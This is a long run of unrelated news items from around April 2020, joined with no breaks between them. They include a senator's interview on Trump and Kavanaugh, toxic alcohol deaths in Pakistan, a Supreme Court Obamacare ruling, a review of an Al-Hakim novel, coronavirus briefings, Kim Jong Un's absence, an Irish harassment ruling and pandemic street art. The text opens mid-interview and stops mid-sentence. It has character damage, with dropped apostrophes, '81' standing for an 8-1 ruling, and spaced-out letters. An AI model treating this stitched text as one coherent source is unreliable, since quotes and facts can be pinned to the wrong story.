my colleagues aspired to do more when they came to the Senate than just pass the president's executive agenda. They want to legislate. And I think many of them would happily return to that if there's good leadership and the right behaviors modeled from the White House. Q: But aren't they supposed to be the leadership? A: Yeah, certainly. But we've seen that they follow behind (this) leader. Q: Growing up on a ranch in Arizona, you have views on immigration very different from most in your party. Does that bother you, and have you found those views more broadly held than you would have thought? A: More broadly than I would like. In Arizona, we're already majority-minority in the K-12 system. So for young people who've grown up around minorities or had a different experience than a lot of us in my generation, they don't harbor, I think, some of the prejudices that people in my generation do. Having said that, the behavior that they see modeled by elected officials and the party, it's difficult for them. Millennials look at the nativist attitude that a lot of elected officials present, and also the failure to address climate change in a serious way. They've been walking away from the party for a while, but now millennials are in a dead sprint away. And that's the real concern. If we go to a second Trump term, then there's a real danger. Q: During the Kavanaugh hearings, there was that viral elevator moment: Two women were telling you their stories, and I think what probably struck a nerve most was the look on your face. How did you experience that moment, and did it change you at all? A: Well, that came a few hours after the most restless night I've probably ever had. I, along with a number of my colleagues, were getting calls from close friends, relatives, extended family. Dr. (Christine Blasey) Ford's allegations stirred something in them and caused them to share their own stories. And that was weighing on me. Then the elevator moment came. So I was very unsettled. I didn't think that we Republicans had done due diligence. I just felt that we needed to do more. And the elevator moment was helpful to have the resolve to (call for an FBI investigation). Q; Did you feel like the investigation did what you hoped it would? There was certainly the allegation that it was a bit of a fig leaf. A: I wish that it could have started earlier and gone longer. And been more thorough. But it was not insignificant. You can't make those public or nobody would ever submit themselves to appointments or elected office, but I wish the country could have read it. They would have felt better about where we are. Q: So that was not, in your mind, a party-over-conscience vote? A: No. I was leaving office in a couple of months. There would have been nothing more satisfying to me than to deny the president. Given his boorish and bullying behavior and remarks about Dr. Ford and whatnot, that would have been immensely satisfying. But it would have, I thought, set a precedent that would be dangerous in the long term if we had an allegation that was uncorroborated - that that, in and of itself, could sink a nomination. That's territory that the Senate shouldn't be in. Q: Which do you think would be better for the Republican Party, and maybe the country itself: a second term for Trump or a sound defeat in November? A: Oh, a sound defeat, no doubt. Long term for the Republican Party, you bet. And for conservatism as well. Q: You would feel comfortable casting a vote for a Democrat? A: Yeah. This won't be the first time I've voted for a Democrat - though not for president (before). Last time I voted for a third-party candidate. (Laughs.) But I will not vote for Donald Trump. But, listen, we have a good system. The pendulum swings when one party takes it too far. We'll be ourselves again. So it's not a pox on all your houses. I'm not trying to burn the place down or anything else. I think we'll be back. At least 17 people have died after consuming toxic alcohol in the past five days in Rahim Yar Khan district of Pakistan's eastern Punjab province, local media and police said, Trend reports citing Xinhua. According to the reports, all the victims lost their lives after taking the poisonous locally made alcohol in three different villages of Khanpur area of Rahim Yar Khan. Four of the victims died in village Jhulan, seven lost their lives in village Mahmood and six in village Obatta after drinking the alcohol. Hospital officials told media that the death toll might rise because three others are in critical condition in the district hospital of Rahim Yar Khan due to toxic liquor. Police have registered a case against a group of drug peddlers who allegedly produced the alcohol at their home and sold it to locals. Residents of the area protested against the drug peddlers and urged the police to take strict action against liquor sellers. US Must Pay Billions to Insurers for Obamacare Risk Corridors Program Losses, Supreme Court Rules The federal government must fork over more than $12 billion to insurance companies that lost money by participating in the Affordable Care Acts risk corridors program, the Supreme Court has ruled. The decision rebuffs the Trump administration and Republican lawmakers such as Sen. Marco Rubio, a Florida Republican, who has characterized taxpayer funding to cover the shortfall as a bailout for the insurance industry. Thats because the risk corridors program gave participating insurers a special deal that limited their financial exposure for three years, starting in 2014. The program was designed to stabilize health care insurance premiums and subsidize insurers willing to sell a risky new productin this case, comprehensive, guaranteed issue, individual and small-group insurance covering preexisting conditions. The understanding was that if premiums collected on Obamacares health care marketplaces from 2014 through 2016 exceeded an insurers medical expenses, the company would kick back some of its profit to the government. Conversely, if premiums failed to cover expenses, the insurer would receive payments from the government. But as part of a backlash against Obamacare, Congress added language to appropriations bills in an effort to stop the government from making payments. The money paid into the pool quickly dried up, and Congress declined to make up the difference, so the insurers went to the U.S. Court of Federal Claims. Their claims were later rejected by a three-judge panel of the U.S. Court of Appeals for the Federal Circuit. The 81 ruling by the highest court in the land came April 27 in Maine Community Health Options v. U.S., a case that was heard Dec. 10, 2019. In creating the risk corridors program, Congress created a rare money-mandating obligation requiring the Federal Government to make payments according to a stated formula, Justice Sonia Sotomayor wrote for the court majority. And by failing to appropriate enough sums for payments already owed, Congress did simply that and no more: The appropriation bills neither repealed nor discharged [the laws] unique obligation, she wrote. These holdings reflect a principle as old as the Nation itself: The Government should honor its obligations, the justice wrote. Soon after ratification, Alexander Hamilton stressed this insight as a cornerstone of fiscal policy. States, he wrote, who observe their engagements are respected and trusted: while the reverse is the fate of those who pursue an opposite conduct. During oral arguments, the insurers lawyer, Paul Clement, denounced the government, accusing it of deceit. This case involves a massive government bait-and-switch, and the fundamental question of whether the government has to keep its word after its money-mandating promises have induced reliance, he said. At the same hearing, Deputy U.S. Solicitor General Edwin Kneedler responded, telling the justices that what the other side described as a statutory promise to cover losses is meaningless without action by Congress. The Appropriations Clause of the Constitution is central to this case, he said, a reference to the sentence: No money shall be drawn from the Treasury, but in consequence of appropriations made by law. Compelling the government to pay the insurers would impose unprecedented liability on the United States of billions of dollars, Kneedler said. But in this case, the Obamacare statute imposed a duty to fund risk corridor payments that the government cannot avoid, the Supreme Court found. The plain terms of the risk corridors provision created an obligation neither contingent on nor limited by the availability of appropriations or other funds, Sotomayor wrote. Justice Samuel Alito dissented, writing that the insurers had no legal grounds for suing, and warning that the majority opinion would open the door to more liability in the future for the government. The Court infers a private right of action that has the effect of providing a massive bailout for insurance companies that took a calculated risk and lost, he wrote. Under the Courts decision, billions of taxpayer dollars will be turned over to insurance companies that bet unsuccessfully on the success of the program in question. This money will have to be paid even though Congress has pointedly declined to appropriate money for that purpose. Many federal statutes contain phrasing such as the Secretary shall pay, which the Court construes as creating a cause of action, so this decision will have a massive immediate impact with potential consequences [that] go much further, Alito wrote. For many years, the only modern novel translated from Arabic published in the prestigious Penguin Classics series of international literary works in English translation was Season of Migration to the North by the Sudanese writer Tayeb Salih. Today, however, a new title has joined the list with a revised English translation by US academic William Hutchins of Egyptian writer Tawfik Al-Hakims 1933 novel Return of the Spirit, a reworking of a translation first published in a more limited series. Its appearance in the Penguin Classics means that Al-Hakims novel, undoubtedly a classic of Egypts modern literature, can now be enjoyed by a far wider English-language audience. In his introduction to the new edition, Hutchins says that Return of the Spirit is at once a portrait of an Egyptian as a young artist and therefore an apprenticeship novel; the narrative of a failed romance that transforms everything; a political novel that celebrates the 1919 Revolution in Egypt and calls for national solidarity; a work of Arab Muslim literature; and a novel that presents its blended family as a model for Egyptian society and its characters as symbols for tendencies and ideas. Another way of putting this would be to say that the novel is a gloriously mixed bag, with several different novels fighting to get out. First, there is the story of the protagonist, Muhsin, a young man living with his extended family in Cairo and occasionally returning to the countryside while exploring what life and the future have to offer. This novel, an often highly comic one of growing up and early love, is the story of an aspiring writer and is based on Al-Hakims own experience living with his family in Cairo in the years immediately before and after Egypts 1919 Revolution. Then there is the political novel that Hutchins refers to, perhaps most in evidence when Muhsin visits his family in the Delta town of Damanhur in part two of Return of the Spirit. In addition to reflections on the differences between town and country life and the underdeveloped condition of local villages, this novel introduces characters who explicitly discuss political ideas and tendencies. There are the characters on the train that Muhsin encounters between Cairo and Damanhur, for example, who discuss the differences between Egypt and Europe. One comments on how those present have made room for a new passenger. If this had happened in Europe, not one of the passengers would have moved, even if he was acquainted with the newcomer and his friend. No one [in Europe] will decrease his own comfort for the sake of another, no matter who he is, he says to general agreement. These discussions may reflect Al-Hakims own thoughts, since the relationship between Egypt and Europe, perhaps more broadly Europe and the Arab world, he returned to in a subsequent novel called Bird from the East. There are also the foreign characters Muhsin encounters while in the Delta, with these being national stereotypes as well as vehicles for the expression of ideas. A French archaeologist lectures Muhsin on the achievements of European culture while also holding out the hope of a cultural renaissance in Egypt. The farmers of the Delta, for example, though presently uneducated, have a force within them theyre not conscious of. This is an ancient people. If you take one of the peasants and remove his heart, youll find in it the residue of ten thousand years of experiential knowledge, one layer on top of the other, though hes not conscious of it, he says. Dont disdain those people who are poor today. The force lies buried in them. They lack only one thing a man from among them who will manifest all their emotions and beliefs and be for them a symbol of the ultimate. When that occurs, dont be surprised if these people, who stand together as one and relish sacrifice, bring forth another miracle besides the Pyramids. A British irrigation inspector, more pragmatic, is inclined to dismiss the Frenchmans ideas. You Frenchmen think nothing of sacrificing facts to eloquence, he says. However, the Frenchmans point is born out in the final sections of the novel, which record the atmosphere in Cairo during the 1919 Revolution in Egypt, a national revolt against British colonial rule and the protectorate imposed on Egypt. The Revolution both vindicates the French archaeologists predictions and serves as a powerful expression of national feeling and solidarity. A person looking at Cairo and its streets during that time would have seen in the midst of the demonstrations and chants Egyptian flags that showed the crescent moon [of Islam] cradling the cross. Egypt had perceived in a single moment that the crescent and the cross were the two arms of a single body with one heart: Egypt! RETURN TO THE SPIRIT: Al-Hakim wrote Return of the Spirit while he was living in Paris in 1927, having been sent there by his family ostensibly to study law, but in fact spending as much time as possible absorbing the French and European cultural scene, particularly its theatre. His return to Egypt some years later marked the beginning of an extraordinarily productive period for this still young author he was born in 1898 in Alexandria with Return of the Spirit, a first novel, being consigned to a drawer until 1933 when it was first published in Cairo. Meanwhile, Al-Hakim was spending his time writing theatre plays, while at the same time also experimenting with essays and memoirs. People of the Cave, one of his best-known plays from the 70 or so he wrote during an exceptionally long writing career stretching into the 1980s, appeared in the same year as Return of the Spirit. There was also a novel-memoir reminiscent in its sometimes biting humour to parts of the earlier novel, though this time drawing not on Al-Hakims student days in Cairo but on his early career as a lawyer in the Delta. This work, Diary of a Country Prosecutor, was translated into English as long ago as 1947, indicating a strange time-lapse between its publication in English and the much later appearance of other works from the same decade in translation.Perhaps the mixed character of Return of the Spirit part novel of apprenticeship, part political novel, part memoir, and part manifesto piece for future novels should also be seen as part of this extraordinarily productive period. Al-Hakim had decided while in Paris that he could never follow his father in a legal career, at least not with any enthusiasm, and he had decided that he wanted to become a writer.But what sort of writer should he be? As he explains in The Prison of Life, a later memoir, some of his contemporaries had been tempted by journalism, then flourishing in Egypt and offering the prospect of a respectable career if not one that was as secure as the law. Others were experimenting with writing works of prose fiction, sometimes by Egyptianising, or half translating and half adapting, works in European languages. Still others were writing short stories, or autobiographies, biographies, and memoirs. There was a range of possibilities, perhaps explaining why Al-Hakim felt happy to try most of them, sometimes in hybrid works that are part fiction, part memoir, part political tract, and part adaptation from a range of models.But what he really wanted to be, he explains in The Prison of Life, was a dramatist. However, here too there was uncertainty. Part of him seemed to be drawn towards material exploring societal themes in a trend towards realist drama. But another part was drawn to exploring abstract issues that touched only tangentially on immediate societal issues and were less likely to find popular audiences.People of the Cave, a reworking of the Quranic and Christian story of the Seven Sleepers of Ephesus, was like that, as were Al-Hakims plays from the 1960s that have reminded some of the theatre of the absurd of the time in Europe. Plays like The Sultans Dilemma, The Tree Climber, and the Fate of a Cockroach used absurd situations to ask questions about the foundations of political authority, the character of belief systems, and the extent and limits of human striving.He writes in The Prison of Life that the problem was how to find an audience for what he wanted to write, perhaps by smuggling questions of law and justice into a murder mystery/comic memoir in the manner of Diary of a Country Prosecutor or by blending his gift for comic dialogue, written in the vernacular, with politics and essayistic speculation in the manner of Return of the Spirit. He was torn, he says, between a desire for popularity and one for solitude, for reaching a wider audience and for retreating into an ivory tower of philosophical and aesthetic investigation.The Sultans Dilemma asks to what extent power should be subject to law. The dilemma in The Prison of Life is between imprisonment and freedom, rather like in the People of the Cave. The prison that I live in, made of wall-like inherited traits was something imposed by early life and upbringing, Al-Hakim says in his memoir. My freedom is my thinking. I am a prisoner in what I have inherited, free in what I have acquired. The intellectual and cultural edifice I have erected for myself is my own, he writes. *A version of this article appears in print in the 30 April, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: The European Union has offered an aid package of Nepalese Rupees 9.8 billion to Nepal to tackle the COVID-19 pandemic and to boost the Himalayan nation's economic response, the EU mission here said in a statement. Nepal has reported 52 cases of the deadly coronavirus and no deaths. "We hope that our contribution will support the efforts of the government to respond effectively to this crisis, so that the impact on the most vulnerable is reduced. International cooperation and solidarity are now more important than ever, Veronica Cody, EU ambassador to Nepal, said in the statement released here. Out of the total amount of Nepalese Rupees 9.8 billion (75 million euros), Nepalese Rupees 7.2 billion (55 million euros) is a reorientation of existing funds and Nepalese Rupees 2.6 billion (20 million euros) represents a new commitment, it said. The 27-member economic bloc's support will be directed at two areas: Assisting the Nepali authorities to respond to the immediate health crisis and boosting the country's economic response and recovery. The support combines redirected existing commitments with new funds, granted in the form of budget support to allow the government direct and swift access to this financing, the statement said. Across the world, the EU is ensuring that partner countries are able to fight the coronavirus pandemic and its consequences. By combining resources from the EU, its member states, and European Financial institutions, the EU has put together a Team Europe package totalling more than 20 billion euros to support its partners' immediate health responses to the coronavirus, as well as their economic recovery, the Kathmandu Post reported. The European Union has also contributed Nepalese Rupees 14.9 billion to the World Health Organisation to support countries under particular strain and with weaker health systems, including Nepal, the report said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Senate Majority Leader Mitch McConnell (R-Ky.) speaks during a news briefing at the U.S. Capitol in Washington on April 21, 2020. (Chip Somodevilla/Getty Images) McConnell Criticizes Media Over Coverage of Sexual Assault Allegation Against Biden Senate Majority Leader Mitch McConnell (R-Ky.) became one of the highest-profile figures to highlight the discrepancies in media coverage of sexual assault allegations against presumptive Democratic presidential nominee Joe Biden and Supreme Court Justice Brett Kavanaugh. At the very least, its pretty obvious that the same people who were outraged about allegationsunproven allegations against Justice Kavanaugh when he was in high schoolseem to have little or no interest, or certainly not as much interest, in suggestions of improper behavior by an adult who is in the Senate. I think these things ought to be dealt with symmetrically, McConnell said during an interview on Fox News Radio on April 27. I think what most Americans would like is sort of a symmetrical evaluation of these allegations rather than what we have seen, at least so far. Just before being nominated to the nations highest court in 2018, Kavanaugh faced allegations of sexual misconduct while he was in high school and college. Those claims suffered from no corroboration, and he was eventually confirmed, but not before major outlets ran dozens of stories suggesting malfeasance and largely aligning with Democratic lawmakers opposition to his confirmation. The same outlets have run or aired few stories about Tara Reade, a former staffer for Biden when he was a U.S. senator in the early 1990s. According to a study by the watchdog Media Research Center, neither NBC nor ABC have aired stories about Reade, while CBS spent one minute, three seconds on the allegations, MSNBC spent under five minutes, PBS spent just over seven minutes, and CNN spent no time until a video resurfaced relating to the accusations. US Sen. Joseph Biden (L), chairman of the Senate Judiciary Committee, whispers on July 20, 1993, to Judge Ruth Bader Ginsburg shortly before his committee began Ginsburgs confirmation hearing for the position of associate justice of the U.S. Supreme Court. (Jennifer Law/AFP via Getty Images) Besides having a proven link to Bidenunlike every woman who had accused Kavanaughseveral recent pieces of evidence have supported Reades claims, including two women going on the record relaying how she spoke of the alleged assault within three years of it happening. Attempts to reach Reade and Biden for comment have been unsuccessful. The presumptive Democratic presidential nominee and former vice president hasnt been asked about Reades accusations during his media appearances in recent weeks, including interviews with Politico, CBS 4, and MSNBC. Bidens campaign has said Biden believes women have a right to be heardand heard respectfully. Such claims should also be diligently reviewed by an independent press. What is clear about this claim: It is untrue. This absolutely did not happen, campaign spokeswoman Kate Bedingfield said in a statement sent to news outlets. Several prominent lawmakers who were once running for the Democratic nomination and endorsed Biden after dropping out have faced questions about Reades accusation. Sen. Amy Klobuchar (D-Minn.) told NPR that all women in these cases have the right to be heard and have their claims thoroughly reviewed. Christine Blasey Ford, with lawyer Debra Katz (L), answers questions at a Senate Judiciary Committee hearing on Capitol Hill on Sept. 27, 2018. (Melina Mara-Pool/Getty Images) Sen. Bernie Sanders (I-Vt.) said during an appearance on CBSs This Morning that any woman who feels that she was assaulted has every right in the world to stand up and make her claims. McConnell told Fox News Radio that the allegation will be discussed in the months leading up to November. I cant imagine that this kind of an issue isnt going to be discussed during the presidential campaign. Surely those in the reporting world who were so animated about the investigation of Justice Kavanaugh would have an equal interest in this subject, McConnell said. Biden in 2018, as many Democrats came out in support of the women accusing Kavanaugh, said that women who enter the national spotlight to accuse high-profile men of sexual wrongdoing should be given the benefit of the doubt and not be, you know, abused again by the system. Ford deserves to be treated with dignity. It takes enormous courage for a woman to come forward, under the bright lights of millions of people watching, and relive something that happened to her, assert that something happened to her. And she should be treated with respect, he said during an appearance on NBCs Today show. US intelligence agencies raised alarm about coronavirus in classified briefing material prepared for President Donald Trump with increasing frequency over January and February, a period that is seen as a squandered opportunity to aggressively prepare the country for the epidemic. The warnings came in more than a dozen of briefing papers called the President Daily Brief, the Washington Post reported Monday, adding to a growing body of news accounts and reports of the botched and delayed response of the Trump administration to the epidemic. The first mention of the virus in the PBD came in early January. According to the report, by Tuesday morning, four months after, it had killed 52,256 1,378 in just the past 24 hours and infected 988,490, up by 22,412 over the previous day. These intelligence alerts, the newspaper reported, failed to register on the President who tends to skip the daily briefings and does not pay much attention to the oral summaries he prefers two or three times a week. The first major action taken by the Trump administration to fight the outbreak came in late-January with a ban on travelers from China, except US citizens. But the administration did do much for all of February, a period of squandered opportunity to beef up essential medical supplies, protective equipment and begin social-distancing and other mitigation efforts. The president continued to play down the gravity of the crisis. Its like a miracle, it will disappear, he said February 26. Just stay calm. It will go away, he said on March 10, the day before the WHO declared the outbreak a pandemic, as the Post report noted as an instance of the presidents failure to grasp the seriousness of the situation. The president has insisted, however, that there was no delay in his response to the crisis and has cited the January travel ban as the highlight of his administrations response. (Removes extraneous words in 15th para) By Hyonhee Shin and Josh Smith SEOUL, April 28 (Reuters) - Kim Jong Un may have missed a key holiday on April 15 because of concerns over the coronavirus, not because he is ill, South Korea's minister for North Korean affairs said on Tuesday. North Korean leader Kim's absence from public ceremonies on the birth anniversary of his grandfather and founder of the country, Kim Il Sung, was unprecedented, and he has not been seen in public since. That has led to days of speculation over his health. South Korean officials emphasise they have detected no unusual movements in North Korea and have cautioned against reports that Kim may be ill. North Korea has said it has no confirmed cases of the coronavirus, but given the fact that the country has taken stringent steps to head off an outbreak, Kim's absence from the ceremonies is not particularly unusual, Unification Minister Kim Yeon-chul, who oversees North Korea engagement, told lawmakers. "It is true that he had never missed the anniversary for Kim Il Sungs birthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns," Kim Yeon-chul said at a parliamentary hearing. He said there were at least two instances since mid-January where Kim Jong Un was out of sight for nearly 20 days. "I dont think thats particularly unusual given the current (coronavirus) situation." U.S. President Donald Trump said on Monday he has a good idea how Kim Jong Un is doing and hopes he is fine, but would not elaborate. Japanese Prime Minister Shinzo Abe said he was aware of reports on Kim's health and he was was paying close attention to developments. North Korea had cancelled some large events, and imposed a border lockdown and quarantine measures in an effort to prevent an outbreak of the coronavirus. But if Kim Jong Un is hiding out due to fears surrounding COVID-19, it would "puncture a hole in the state media narrative of how this crisis has been perfectly managed", said Chad O'Carroll, CEO of Korea Risk Group, which monitors North Korea. Story continues "If he is merely trying to avoid infection, it should theoretically be very easy to release photos or videos of a healthy-looking Kim," he said. SIGNS OF LIFE An authoritative source familiar with U.S. intelligence reporting said on Monday it was entirely possible Kim had disappeared from public view to avoid exposure to COVID-19 and the sighting of his presidential train in the coastal resort area of Wonsan did suggest he may be there or have been there recently. But the source said that since there was no authoritative backing for such a conclusion, U.S. agencies were also still considering the possibility Kim might be ill, even seriously. 38 North, a Washington-based North Korea monitoring project, said on Saturday that satellite images from last week showed a special train that was probably Kim's at Wonsan, lending weight to reports he had been spending time in the resort area. While North Korean state media have not reported on Kim Jong Un's whereabouts since he presided over a meeting on April 11, they have carried near-daily reports of him sending letters and diplomatic messages. That suggests that he is still carrying out his duties, Unification minister Kim said, although some experts say they are not necessarily conclusive. "I agree with the South Korean government's assessment that there is no reason to think Kim Jong Un is not performing his duties," said Rachel Minyoung Lee, a former North Korea open source intelligence analyst for the U.S. government. "That said, I would not read too much into letters signed by Kim Jong Un. I would guess that most of them are not written by him anyway." (Reporting by Hyonhee Shin and Josh Smith; Additional reporting by Sangmi Cha in Seoul, and Mark Hosenball in Washington; Editing by Raju Gopalakrishnan) Passengers who shuttle between Ho and Adaklu Have in the Volta Region are appealing to stakeholders to address the one Ghana cedis increment in the transportation fare. Commercial drivers, over the weekend were said to have unilaterally increased the lorry fare from three Ghana cedis to four Ghana cedis, representing a hike of 33 per cent. Passengers who spoke to the Ghana News Agency appealed to the District Chief Executive and Assemblymen for Adaklu to quickly resolve the issue before it degenerated into chaos. The situation was already causing growing resentment between passengers and drivers. One driver who identified himself only as Emmanuel said they had been directed by a member of the security agencies to carry three passengers in line with social distancing regulations, and also increase the fare to make up for the loss. He said passengers would either have to pay the new fare or the vehicles would revert to carrying four passengers. Mr. Sampson Worlanyo Gakpo, Assemblymen for the area, when contacted said he was working to get the issue resolved, and appealed for calm. Source: GNA Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video An elderly male resident at a nursing home sexually harassed a senior female health care assistant when he touched her inappropriately and told her Id love to have you in bed. The incident occurred on the morning of May 13, 2018, when the health care assistant was helping the man to shave as part of his care plan. The worker described that as she emptied the sink of water, the resident from behind her placed his hands on her buttocks and then on her groin area saying, Id love to have you in bed. The Workplace Relations Commission (WRC) found that the woman was sexually harassed by the resident. However, WRC Adjudication Officer, Orla Jones has dismissed the womans sexual harassment case against her employer, a healthcare provider. Ms Jones made her ruling after finding that she was satisfied that the care home operator put in place appropriate measures and has taken reasonably practicable steps to prevent such harassment and sexual harassment occurring in the workplace. In relation to the sexual harassment incident on May 13, 2018, the healthcare worker immediately told the resident that his behaviour was inappropriate, and she then left the room and went to the nurses' station to report what had happened. The complainant said that a male staff nurse was at the nurses station and when she told him what had happened he had initially laughed, but later apologised. In her findings, Ms Jones found that the perpetrator acknowledged his actions and apologised to the complainant. She said that the perpetrator was held accountable for his actions and was told by the care home operator that any further behaviour of such manner would be punishable by his losing his residency at the care home. Ms Jones noted that following the incident the perpetrator was denied a single room which prior to the incident he had been in line to receive. She said that it was explained to him that the reason for the denial of this privilege was due to his behaviour with the complainant and in order to ensure the safety of other staff and to safeguard female staff from the risk of future similar incidents. The Adjudication Officer also noted that following the sexual harassment incident, female staff members were only assigned to care for the elderly resident in pairs. Ms Jones also said that the healthcare worker was removed from the perpetrator's care team following the incident so that she would not have to deal with him. Ms Jones said that it emerged at the hearing that the perpetrator in fact left the care home on June 15, 2018, and so no question arises in respect of possible future incidents or inappropriate behaviour emanating from him. She said that the female healthcare worker continues to work for the healthcare provider. Ms Jones said that the perpetrators GP and his son were notified of the incident and that the care worker was assigned to work on a different floor to avoid the possibility of any contact with the resident. Staff were also provided with training in respect of Sexuality and Intimacy in Aged Care. Ms Jones said : In considering whether more could be done to protect the complainant and prevent such harassment in her workplace I am cognisant of the fact that the service users are elderly people in a nursing home setting on various levels of medication and that the respondent cannot be expected to have the same level of control over their actions as it does the actions of its own employees. Ms Jones said that the care home operator does not deny or dispute that the sexual harassment incident happened and also does not dispute the complainants account of the incident. She added that the healthcare provider outlined how it raised the issue with the male resident immediately and that he admitted to the incident. Ms Jones also found that the healthcare provider has a sexual harassment policy to deal with incidents of sexual harassment from colleagues and that it has an incident report system for dealing with incidents involving residents. Saima Afreen By Express News Service HYDERABAD : In the murder-mystery, Ritual (Pan Macmillan India) author Uttaran Das Gupta, who teaches as an assistant professor in Jindal School of Journalism & Communication, Sonipat, unravels some dark truths set in a Communist Calcutta of the 80s with a tightly-woven plot and impressive characters. He was supposed to travel for a multi-city launch which is on hold given the Covid-19 lockdown. In a conversation, he talks about his book, the research methodology and more. Excerpts: How long did it take you to finish writing this crime thriller? What were your research sources? It took me about two years to write Ritual. When I had first begun writing it, the novel was supposed to be about 30,000 words, and I had thought that I would finish in a month. I dont think a novel can be written like that. There are a lot of historical sources that I looked up to recreate Calcutta this is the name I prefer of the late 1980s. I have listed all of them in my book, but I would like to mention two here: Calcutta: The Living City, edited by Sukanta Chaudhuri, my teacher at Jadavpur University, and Gunter Grasss Show Your Tongue. Why did you choose Calcutta of the late 80s as the setting of this book? In 1989, Calcutta was terrorised by the Stoneman Murders. I was only three years old, but I can still recall its terror. This is what I wanted to recreate in my novel-that grim atmospheric narrative. The mention of Caucasian women as the bodyguards of the Yogi somewhat draws parallels with Gaddafi of L i b y a . C o m m e n t s ? Gaddafi was the inspiration. Some Yogis in our country-like religious leaders everywhereare deeply power-hungry and fascistic. thread connecting East Europe and Calcutta through communism? In 2018, I had received the Robert Bosch Foundation India- Germany Media Fellowship, which helped me travel to Germany, Austria, the Czech Republic, Belgium, France, and Poland. To those who have grown up in a communist state, like West Bengal-similarities with the former communist states of east Europe are quite evident. On my first night in Berlin, I was going to take the UBahn. The underground trains seemed very familiar to me. Later, I found out that the Calcutta metro was designed with the help of engineers from East Germany. I do not write about this in Ritual, but in a short story called Rain in Prague available online. Your novel documents the rise of a right-wing fanatic leader. How do you juxtapose this with an upsurge in the communal polarisation in the country? I think it is impossible to not write about the communalisation of Indian society, with the full sanction of the ruling dispensation. Ritual was published in mid-February this year, days before protests against the discriminatory Citizenship (Amendment) Act snowballed into anti-Muslim violence in Delhi, where I live. This did not happen overnight. It has been happening for the past several years. How can one not write about it? This book has elements of same-sex relations. Did any incident incite you to pen it? There was no incident that inspired me, but even as I finished writing Ritual, the Supreme Court decided to decriminalise those parts of Section 377 of the Indian Penal Code that penalised consensual same-sex relations. There was no plan for two men in the novel who love each other. It happened quite organically. saima@newindianexpress .com @Sfreen SpaceX's plan to launch NASA astronauts to the International Space Station at the end of May will happen under the long shadow of the coronavirus pandemic. Why it matters: Instead of a triumphant show of American astronauts launching from American soil for the first time since the end of the space shuttle program in 2011, they will likely take flight amid crowd restrictions and a plea to stay away. What's happening: SpaceX is planning to launch its first crewed mission to the ISS for NASA on May 27 as part of the space agency's bid to stop buying rides to orbit from Russia. Usually, spectators cram onto beaches around the Space Coast to try to catch a glimpse of any rocket launch, especially those carrying people. But NASA is now asking members of the public to refrain from traveling to Kennedy Space Center for the launch, instead saying space fans should join in online. The space agency still has yet to explain exactly how members of the press will be accredited to cover the launch in person, calling into question how the public will understand this taxpayer-funded mission. NASA is also considering instituting social distancing guidelines in mission control during the launch, NASA administrator Jim Bridenstine said during a press call last week. The agency told its workforce they can ask to be reassigned if working on the upcoming launch feels too risky. Yes, but: NASA can restrict access to Kennedy Space Center, but the space agency has no jurisdiction over the surrounding area, making it potentially complicated to limit crowd sizes. "We're trying to make sure we have access to the International Space Station without drawing the amount of crowds that we usually would for these activities. It's especially important now because we haven't done this since 2011, so the crowds are probably going to be bigger than they have been in a very long time." Jim Bridenstine The big picture: NASA needs this launch to go off on time and without problems in order to be sure the agency can maintain a robust presence on the space station. At the moment, Chris Cassidy is the only NASA astronaut on the space station, with plans for it to remain that way until Doug Hurley and Bob Behnken launch aboard SpaceX's Dragon. "At its core, what you want to do is be able to launch this thing and get a crew rotation," John Logsdon, the founder of the Space Policy Institute at George Washington University, told Axios. "You don't need the crowds to do the launch. You don't even need the press." The bottom line: SpaceX's bid to launch people to orbit for the first time considered to be the most significant space moment of the year will be dulled by the ongoing pandemic. As people retreat in homes amid the coronavirus lockdowns, the graffiti and cityscape artists have headed out for creative expression on the vacant streets where restrictions have somewhat eased. Despite surveillance of the public spaces in a bid to stem the pandemic, the art has failed to stow away from plain sight. From Hong Kong to Dublin, the coronavirus art movement can be evident from how the muralists have articulated the pandemic on the walls. An acclaimed anthropologist and curator, Rafael Schacter, an expert with a focus on public and global art, told a leading US media outlet that art is vital as an expression of the collective experience during challenging times of this pandemic. And hence, the artists, most importantly, have dissolved the very concept of the public space or scrutiny of the public policies and are coming forward with an artistic representation of the global health crisis on the streets. And to back his claims, social media abounds in pictures of a graffiti, or a colourful, geometric painting popping up on random walls representing an encouraging concept, or focusing on the social issues, or perhaps simply gracing the wall. On Twitter, several artistic pieces can be seen drawn on the walls in Paris, Italy, Spain, India, England, Sudan, Poland, Greece, Syria, Indonesia, and elsewhere. Read: Chennai Artist Transforms Autorickshaw Into The Shape Of Coronavirus To Spread Awareness Read: Folk Artistes Say They Are Struggling To Survive Coronavirus Lockdown, Seek Govt Help Street art across the globe The Coronavirus pandemic has been a challenge that our generation has never faced before. In light of so much uncertainty and isolation, feelings of fear and loneliness is everywhere. But we are not alone, and despite these challenges, pic.twitter.com/Oe4wHShfbK Wenqing Yan (@Yuumei_Art) April 21, 2020 Graffiti related to coronavirus in Brick Lane, east London, as the UK continues in lockdown to help curb the spread of the coronavirus Credit: Isabel Infantes/EMPICS pic.twitter.com/ePPkg7FIXA Pixiedust (@PixiedustJtT) April 27, 2020 Incredible street art and graffiti across the UK and Ireland over the last few weeks as the coronavirus keeps us in "LOCKDOWN" created by French street artist Zabou in East London pic.twitter.com/7xMsF93WPi Golden Apple Films (@GoldenAppleFil1) April 26, 2020 A child stands next to advocacy graffiti by the Mathare Roots' youth group against the spread of the coronavirus disease (COVID-19), at the Mathare Valley slum, in Nairobi, Kenya Credit: REUTERS/Thomas Mukoya pic.twitter.com/Kc4nT5Dfik Pixiedust (@PixiedustJtT) April 25, 2020 First Coronavirus-themed graffiti I've seen so far... pic.twitter.com/acgsKBCwTM Andrew Mendelawitz (@A_Mendelawitz) April 22, 2020 I have noted that Coronavirus-themed political graffiti in Athens, especially when it appears on supermarkets and private businesses, is often removed swiftly, only to be reinscribed with new slogans. An example from my neighborhood, Petralona. pic.twitter.com/FS5ynmsrZS Julia Tulke (@JuliaTulke) April 24, 2020 Children look at an advocacy graffiti by the Mathare Roots's youth group against the spread of the coronavirus disease (COVID-19), at the Mathare Valley slum, in Nairobi, Kenya pic.twitter.com/ak8wemngUf Russell Boyce (@Cropperboyce) April 23, 2020 Read: The Weeknd's Evolution As An Artist From His Debut Album 'Trilogy' To 'After Hours'; Read Read: International Sculpture Day 2020: 